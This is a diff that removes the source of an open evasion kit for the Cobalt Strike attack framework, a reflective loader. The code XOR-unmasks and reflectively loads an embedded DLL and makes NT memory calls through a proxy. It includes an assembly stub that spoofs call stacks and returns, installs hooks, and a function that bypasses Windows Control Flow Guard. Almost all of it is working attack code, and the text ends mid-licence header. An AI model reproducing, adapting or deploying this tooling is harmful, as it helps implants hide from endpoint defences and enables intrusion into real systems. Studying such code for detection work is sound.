@@ -1,250 +0,0 @@
/*
* Copyright 2025 Daniel Duggan, Zero-Point Security
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <windows.h>
#include "loader.h"
#include "tp.h"
#include "proxy.h"
#define WIN32_FUNC( x ) __typeof__( x ) * x
typedef struct {
WIN32_FUNC(LoadLibraryA);
WIN32_FUNC(GetProcAddress);
DRAUGR Draugr;
} WIN32FUNCS;
void go();
char _DRAUGR_[0] __attribute__((section("draugr")));
char _HOOKS_[0] __attribute__((section("hooks")));
char _DLL_[0] __attribute__((section("dll")));
char _KEY_[0] __attribute__((section("key")));
void * AllocateVirtualMemory(SIZE_T size, ULONG protect)
{
NTARGS args;
memset(&args, 0, sizeof(NTARGS));
void * baseAddress = NULL;
args.functionPtr = (ULONG_PTR)(NTDLL$NtAllocateVirtualMemory);
args.argument1 = (ULONG_PTR)(HANDLE)(-1);
args.argument2 = (ULONG_PTR)(&baseAddress);
args.argument3 = (ULONG_PTR)(0);
args.argument4 = (ULONG_PTR)(&size);
args.argument5 = (ULONG_PTR)(MEM_COMMIT|MEM_RESERVE);
args.argument6 = (ULONG_PTR)(protect);
ProxyNtApi(&args);
return baseAddress;
}
void ProtectVirtualMemory(void * baseAddress, SIZE_T size, ULONG newProtect)
{
NTARGS args;
memset(&args, 0, sizeof(NTARGS));
ULONG oldProtect = 0;
args.functionPtr = (ULONG_PTR)(NTDLL$NtProtectVirtualMemory);
args.argument1 = (ULONG_PTR)(HANDLE)(-1);
args.argument2 = (ULONG_PTR)(&baseAddress);
args.argument3 = (ULONG_PTR)(&size);
args.argument4 = (ULONG_PTR)(newProtect);
args.argument5 = (ULONG_PTR)(&oldProtect);
ProxyNtApi(&args);
}
void FreeVirtualMemory(void * baseAddress)
{
NTARGS args;
memset(&args, 0, sizeof(NTARGS));
SIZE_T size = 0;
args.functionPtr = (ULONG_PTR)(NTDLL$NtFreeVirtualMemory);
args.argument1 = (ULONG_PTR)(HANDLE)(-1);
args.argument2 = (ULONG_PTR)(&baseAddress);
args.argument3 = (ULONG_PTR)(&size);
args.argument4 = (ULONG_PTR)(MEM_RELEASE);
ProxyNtApi(&args);
}
void FixSectionPermissions(DLLDATA * dll, char * src, char * dst, MEMORY_REGION * region, RDATA_SECTION * rdata)
{
DWORD numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections;
IMAGE_SECTION_HEADER * sectionHdr = NULL;
void * sectionDst = NULL;
DWORD sectionSize = 0;
DWORD newProtect = 0;
sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader);
for (int i = 0; i < numberOfSections; i++)
{
sectionDst = dst + sectionHdr->VirtualAddress;
sectionSize = sectionHdr->SizeOfRawData;
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) {
newProtect = PAGE_WRITECOPY;
}
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) {
newProtect = PAGE_READONLY;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE)) {
newProtect = PAGE_READWRITE;
}
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) {
newProtect = PAGE_EXECUTE;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) {
newProtect = PAGE_EXECUTE_WRITECOPY;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) {
newProtect = PAGE_EXECUTE_READ;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE)) {
newProtect = PAGE_EXECUTE_READWRITE;
}
/* set new permission */
ProtectVirtualMemory(sectionDst, sectionSize, newProtect);
/* track memory */
region->sections[i].baseAddress = sectionDst;
region->sections[i].size = sectionSize;
region->sections[i].currentProtect = newProtect;
region->sections[i].previousProtect = newProtect;
if (MSVCRT$strncmp((char *)sectionHdr->Name, ".rdata", IMAGE_SIZEOF_SHORT_NAME) == 0)
{
rdata->start = sectionDst;
rdata->length = sectionSize;
rdata->offset = dll->NtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size;
}
/* advance to our next section */
sectionHdr++;
}
}
void go(void * loaderArgument)
{
WIN32FUNCS funcs;
memset(&funcs, 0, sizeof(WIN32FUNCS));
/* set funcs */
funcs.LoadLibraryA = LoadLibraryA;
funcs.GetProcAddress = GetProcAddress;
MEMORY_LAYOUT layout;
memset(&layout, 0, sizeof(MEMORY_LAYOUT));
/* get draugr pic */
RESOURCE * draugr = (RESOURCE *)GETRESOURCE(_DRAUGR_);
/* load it into memory */
char * pic = AllocateVirtualMemory(draugr->length, PAGE_READWRITE);
memcpy(pic, draugr->value, draugr->length);
ProtectVirtualMemory(pic, draugr->length, PAGE_EXECUTE_READ);
layout.pic.baseAddress = pic;
layout.pic.size = draugr->length;
funcs.Draugr = (DRAUGR)(pic);
/* get hooking pico */
char * hooks = GETRESOURCE(_HOOKS_);
/* load it into memory */
PICO * pico = (PICO *)AllocateVirtualMemory(sizeof(PICO), PAGE_READWRITE);
PicoLoad((IMPORTFUNCS *)&funcs, hooks, pico->code, pico->data);
ProtectVirtualMemory(pico->code, PicoCodeSize(hooks), PAGE_EXECUTE_READ);
/* record layout */
layout.hooks.baseAddress = (char *)(pico);
layout.hooks.size = sizeof(PICO);
layout.hooks.sections[0].baseAddress = pico->data;
layout.hooks.sections[0].size = PicoDataSize(hooks);
layout.hooks.sections[0].currentProtect = PAGE_READWRITE;
layout.hooks.sections[0].previousProtect = PAGE_READWRITE;
layout.hooks.sections[1].baseAddress = pico->code;
layout.hooks.sections[1].size = PicoCodeSize(hooks);
layout.hooks.sections[1].currentProtect = PAGE_EXECUTE_READ;
layout.hooks.sections[1].previousProtect = PAGE_EXECUTE_READ;
/* get pico entry point */
PICOHOOK_ENTRY picoEntry = (PICOHOOK_ENTRY)PicoEntryPoint(hooks, pico->code);
/* call it to install the hooks */
picoEntry((IMPORTFUNCS *)&funcs, &layout);
/* get the masked dll and key */
RESOURCE * dll = (RESOURCE *)GETRESOURCE(_DLL_);
RESOURCE * key = (RESOURCE *)GETRESOURCE(_KEY_);
/* unmask the dll into memory */
char * src = AllocateVirtualMemory(dll->length, PAGE_READWRITE);
for (int i = 0; i < dll->length; i++) {
src[i] = dll->value[i] ^ key->value[i % key->length];
}
/* parse dll header */
DLLDATA data;
ParseDLL(src, &data);
/* loader it into memory */
char * dst = AllocateVirtualMemory(SizeOfDLL(&data), PAGE_READWRITE);
LoadDLL(&data, src, dst);
ProcessImports((IMPORTFUNCS *)&funcs, &data, dst);
layout.dll.baseAddress = dst;
layout.dll.size = SizeOfDLL(&data);
RDATA_SECTION rdata;
memset(&rdata, 0, sizeof(RDATA_SECTION));
FixSectionPermissions(&data, src, dst, &layout.dll, &rdata);
/* call hook pico again to provide the updated memory layout */
picoEntry((IMPORTFUNCS *)&funcs, &layout);
/* get entry point */
DLLMAIN_FUNC dllMain = EntryPoint(&data, dst);
/* free unmasked copy */
FreeVirtualMemory(src);
/* call entry point */
dllMain((HINSTANCE)dst, DLL_PROCESS_ATTACH, NULL);
dllMain((HINSTANCE)GETRESOURCE(go), 0x4, loaderArgument);
}
-69
View File
@@ -1,69 +0,0 @@
/*
* Copyright 2025 Daniel Duggan, Zero-Point Security
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <windows.h>
#include "tcg.h"
#include "memory.h"
#define GETRESOURCE(x) (char *)&x
#define memset(x, y, z) __stosb((unsigned char *)x, y, z);
#define memcpy(x, y, z) __movsb((unsigned char *)x, (unsigned char *)y, z);
#define GETRESOURCE(x) (char *)&x
__typeof__(GetModuleHandleA) * pGetModuleHandle __attribute__((section(".text")));
__typeof__(GetProcAddress) * pGetProcAddress __attribute__((section(".text")));
typedef struct {
int length;
char value[];
} RESOURCE;
typedef struct {
char * start;
DWORD length;
DWORD offset;
} RDATA_SECTION;
typedef struct {
char data[4096];
char code[16384];
} PICO;
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtAllocateVirtualMemory (HANDLE, PVOID *, ULONG_PTR, PSIZE_T, ULONG, ULONG);
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtProtectVirtualMemory (HANDLE, PVOID *, PSIZE_T, ULONG, PULONG);
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtFreeVirtualMemory (HANDLE, PVOID *, PSIZE_T, ULONG);
DECLSPEC_IMPORT int WINAPIV MSVCRT$strncmp (const char * string1, const char * string2, size_t count);
typedef void (*PICOHOOK_ENTRY)(IMPORTFUNCS *, MEMORY_LAYOUT *);
char * resolve(DWORD modHash, DWORD funcHash) {
char * hModule = (char *)findModuleByHash(modHash);
return findFunctionByHash(hModule, funcHash);
}
-48
View File
@@ -1,48 +0,0 @@
/*
* Copyright 2025 Daniel Duggan, Zero-Point Security
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <windows.h>
typedef struct {
void * baseAddress;
SIZE_T size;
DWORD currentProtect;
DWORD previousProtect;
} MEMORY_SECTION;
typedef struct {
void * baseAddress;
SIZE_T size;
MEMORY_SECTION sections[5];
} MEMORY_REGION;
typedef struct {
MEMORY_REGION pic;
MEMORY_REGION hooks;
MEMORY_REGION dll;
} MEMORY_LAYOUT;
-122
View File
@@ -1,122 +0,0 @@
/*
* Copyright 2025 Daniel Duggan, Zero-Point Security
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
void * __attribute__((naked)) SpoofStub()
{
__asm__ __volatile__ (
".intel_syntax noprefix;"
"pop rax;" // Real return address in rax
"mov r10, rdi;" // Store OG rdi in r10
"mov r11, rsi;" // Store OG rsi in r11
"mov rdi, [rsp + 32];" // Storing struct in rdi
"mov rsi, [rsp + 40];" // Storing function to call
// Storing our original registers
"mov [rdi + 24], r10;" // Storing OG rdi into param
"mov [rdi + 88], r11;" // Storing OG rsi into param
"mov [rdi + 96], r12;" // Storing OG r12 into param
"mov [rdi + 104], r13;" // Storing OG r13 into param
"mov [rdi + 112], r14;" // Storing OG r14 into param
"mov [rdi + 120], r15;" // Storing OG r15 into param
"mov r12, rax;" // OG code used r12 for ret addr
// Prepping to move stack args
"xor r11, r11;" // r11 will hold the # of args that have been pushed
"mov r13, [rsp + 0x30];" // r13 will hold the # of args total that will be pushed
"mov r14, 0x200;" // r14 will hold the offset we need to push stuff
"add r14, 8;"
"add r14, [rdi + 56];" // stack size of RtlUserStartThread
"add r14, [rdi + 48];" // stack size of BaseInitThreadThunk
"add r14, [rdi + 32];" // stack size of our gadget frame
"sub r14, 0x20;" // first stack arg is located at + 0x28 from rsp, so we sub 0x20 from the offset. Loop will sub 0x8 each time.
"mov r10, rsp;"
"add r10, 0x30;" // offset of stack arg added to rsp
"looping:;"
"xor r15, r15;" // r15 will hold the offset + rsp base
"cmp r11d, r13d;" // comparing # of stack args added vs # of stack args we need to add
"je finish;"
// Getting location to move the stack arg to
"sub r14, 8;" // 1 arg means r11 is 0, r14 already 0x28 offset.
"mov r15, rsp;" // get current stack base
"sub r15, r14;" // subtract offset
// Procuring the stack arg
"add r10, 8;"
"push qword ptr [r10];"
"pop qword ptr [r15];"
// Increment the counter and loop back in case we need more args
"add r11, 1;"
"jmp looping;"
"finish:;"
"sub rsp, 0x200;" // Creating a large 320 byte frame for our fake call stack
"push 0;" // Pushing a 0 to cut off the return addresses after RtlUserThreadStart
"sub rsp, [rdi + 56];" // RtlUserThreadStart + offset frame
"mov r11, [rdi + 64];"
"mov [rsp], r11;"
"sub rsp, [rdi + 32];" // BaseThreadInitThunk + offset frame
"mov r11, [rdi + 40];"
"mov [rsp], r11;"
"sub rsp, [rdi + 48];" // Gadget frame
"mov r11, [rdi + 80];"
"mov [rsp], r11;"
// Adjusting the param struct for the fixup
"mov r11, rsi;" // Copying function to call into r11
"mov [rdi + 8], r12;" // Real return address is now moved into the "OriginalReturnAddress" member
"mov [rdi + 16], rbx;" // original rbx is stored into "Rbx" member
"lea rbx, [rip + fixup];" // Fixup address is moved into rbx
"mov [rdi], rbx;" // Fixup member now holds the address of Fixup
"mov rbx, rdi;" // Address of param struct (Fixup)is moved into rbx
// For indirect syscall use. If you want to use it, make sure to set ssn
// in param struct first.Otherwise, this is ignored by the callee.
"mov r10, rcx;"
"mov rax, [rdi + 72];"
"jmp r11;"
"fixup:;"
"mov rcx, rbx;"
"add rsp, 0x200;" // Remove our large frame
"add rsp, [rbx + 48];" // Adjust back for our gadget frame
"add rsp, [rbx + 32];" // Adjust back for our BaseThreadInitThunk frame
"add rsp, [rbx + 56];" // Adjust back for our RtlUserThreadStart frame
"mov rbx, [rcx + 16];" // Restoring OG RBX
"mov rdi, [rcx + 24];" // Restoring OG rdi
"mov rsi, [rcx + 88];" // Restoring OG rsi
"mov r12, [rcx + 96];" // Restoring OG r12
"mov r13, [rcx + 104];" // Restoring OG r13
"mov r14, [rcx + 112];" // Restoring OG r14
"mov r15, [rcx + 120];" // Restoring OG r15
"push rax;"
"xor rax, rax;"
"pop rax;"
"jmp qword ptr [rcx + 8];"
".att_syntax prefix"
);
}
-50
View File
@@ -1,50 +0,0 @@
/*
* Copyright 2025 Daniel Duggan, Zero-Point Security
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <windows.h>
typedef struct _DRAUGR_PARAMETERS {
PVOID Fixup; // 0
PVOID OriginalReturnAddress; // 8
PVOID Rbx; // 16
PVOID Rdi; // 24
PVOID BaseThreadInitThunkStackSize; // 32
PVOID BaseThreadInitThunkReturnAddress; // 40
PVOID TrampolineStackSize; // 48
PVOID RtlUserThreadStartStackSize; // 56
PVOID RtlUserThreadStartReturnAddress; // 64
PVOID Ssn; // 72
PVOID Trampoline; // 80
PVOID Rsi; // 88
PVOID R12; // 96
PVOID R13; // 104
PVOID R14; // 112
PVOID R15; // 120
} DRAUGR_PARAMETERS, * PDRAUGR_PARAMETERS;
typedef PVOID (*DRAUGR)(PVOID, PVOID, PVOID, PVOID, PDRAUGR_PARAMETERS, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID);
-41
View File
@@ -1,41 +0,0 @@
/*
* Copyright 2025 Daniel Duggan, Zero-Point Security
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <windows.h>
typedef struct {
ULONG_PTR functionPtr;
ULONG_PTR argument1;
ULONG_PTR argument2;
ULONG_PTR argument3;
ULONG_PTR argument4;
ULONG_PTR argument5;
ULONG_PTR argument6;
} NTARGS;
VOID ProxyNtApi(NTARGS * args);
-14
View File
@@ -1,14 +0,0 @@
CC_64=x86_64-w64-mingw32-gcc
all: bin/loader.x64.o
bin:
mkdir bin
bin/loader.x64.o: bin
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/proxy.c -o bin/proxy.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/hook.c -o bin/hook.x64.o
clean:
rm -f bin/*
-37
View File
@@ -1,37 +0,0 @@
name "Crystal Kit UDRL"
describe "Evasion Kit for Cobalt Strike"
author "Daniel Duggan (@_RastaMouse)"
x64:
load "bin/loader.x64.o"
make pic +gofirst +optimize +disco +mutate
dfr "resolve" "ror13"
mergelib "../libtcg.x64.zip"
mergelib "../libtp.x64.zip"
load "bin/proxy.x64.o"
make pic
export
preplen
link "draugr"
generate $KEY 128
load "bin/hook.x64.o"
make object +optimize +disco
mergelib "../libtcg.x64.zip"
patch "xorkey" $KEY
import "LoadLibraryA, GetProcAddress, SpoofStub"
export
link "hooks"
push $DLL
xor $KEY
preplen
link "dll"
push $KEY
preplen
link "key"
export
-115
View File
@@ -1,115 +0,0 @@
#include <windows.h>
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define NtCurrentProcess() ((HANDLE)(ULONG_PTR)-1)
typedef struct {
ULONG ExtendedProcessInfo;
ULONG ExtendedProcessInfoBuffer;
} EXTENDED_PROCESS_INFORMATION, * PEXTENDED_PROCESS_INFORMATION;
typedef enum _PROCESSINFOCLASS {
ProcessUserModeIOPL = 16,
ProcessCookie = 36
} PROCESSINFOCLASS;
typedef struct _VM_INFORMATION {
DWORD dwNumberOfOffsets;
PULONG plOutput;
PCFG_CALL_TARGET_INFO ptOffsets;
PVOID pMustBeZero;
PVOID pMoarZero;
} VM_INFORMATION, * PVM_INFORMATION;
typedef enum _VIRTUAL_MEMORY_INFORMATION_CLASS {
VmPrefetchInformation,
VmPagePriorityInformation,
VmCfgCallTargetInformation
} VIRTUAL_MEMORY_INFORMATION_CLASS;
typedef struct _MEMORY_RANGE_ENTRY {
PVOID VirtualAddress;
SIZE_T NumberOfBytes;
} MEMORY_RANGE_ENTRY, * PMEMORY_RANGE_ENTRY;
typedef enum _MEMORY_INFORMATION_CLASS {
MemoryBasicInformation
} MEMORY_INFORMATION_CLASS;
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryInformationProcess (HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryVirtualMemory (HANDLE, PVOID, MEMORY_INFORMATION_CLASS, PVOID, SIZE_T, PSIZE_T);
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtSetInformationVirtualMemory (HANDLE, VIRTUAL_MEMORY_INFORMATION_CLASS, SIZE_T, PMEMORY_RANGE_ENTRY, PVOID, ULONG);
BOOL CfgEnabled()
{
EXTENDED_PROCESS_INFORMATION procInfo;
memset(&procInfo, 0, sizeof(EXTENDED_PROCESS_INFORMATION));
NTSTATUS status = 0;
procInfo.ExtendedProcessInfo = ProcessControlFlowGuardPolicy;
procInfo.ExtendedProcessInfoBuffer = 0;
status = NTDLL$NtQueryInformationProcess(NtCurrentProcess(), ProcessCookie | ProcessUserModeIOPL, &procInfo, sizeof(procInfo), NULL);
if (!NT_SUCCESS(status)) {
return FALSE;
}
return procInfo.ExtendedProcessInfoBuffer;
}
BOOL BypassCfg(PVOID address)
{
MEMORY_BASIC_INFORMATION mbi;
VM_INFORMATION vmi;
MEMORY_RANGE_ENTRY mre;
CFG_CALL_TARGET_INFO cti;
memset(&mbi, 0, sizeof(MEMORY_BASIC_INFORMATION));
memset(&vmi, 0, sizeof(VM_INFORMATION));
memset(&mre, 0, sizeof(MEMORY_RANGE_ENTRY));
memset(&cti, 0, sizeof(CFG_CALL_TARGET_INFO));
NTSTATUS status = NTDLL$NtQueryVirtualMemory(NtCurrentProcess(), address, MemoryBasicInformation, &mbi, sizeof(mbi), 0);
if (!NT_SUCCESS(status)) {
return FALSE;
}
if (mbi.State != MEM_COMMIT || mbi.Type != MEM_IMAGE) {
return FALSE;
}
cti.Offset = (ULONG_PTR)address - (ULONG_PTR)mbi.BaseAddress;
cti.Flags = CFG_CALL_TARGET_VALID;
mre.NumberOfBytes = (SIZE_T)mbi.RegionSize;
mre.VirtualAddress = (PVOID)mbi.BaseAddress;
ULONG dwOutput = 0;
vmi.dwNumberOfOffsets = 0x1;
vmi.plOutput = &dwOutput;
vmi.ptOffsets = &cti;
vmi.pMustBeZero = 0x0;
vmi.pMoarZero = 0x0;
status = NTDLL$NtSetInformationVirtualMemory(NtCurrentProcess(), VmCfgCallTargetInformation, 1, &mre, (PVOID)&vmi, (ULONG)sizeof(vmi));
if (status == 0xC00000F4) {
/* the size parameter is not valid. try 24 instead, which is a known size for older windows versions */
status = NTDLL$NtSetInformationVirtualMemory(NtCurrentProcess(), VmCfgCallTargetInformation, 1, &mre, (PVOID)&vmi, 24);
}
if (!NT_SUCCESS(status)) {
/* STATUS_INVALID_PAGE_PROTECTION - CFG wasn't enabled */
if (status == 0xC0000045) {
/* pretend we bypassed it so timers can continue */
return TRUE;
}
return FALSE;
}
return TRUE;
}
-87
View File
@@ -1,87 +0,0 @@
/*
* Copyright 2025 Daniel Duggan, Zero-Point Security
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
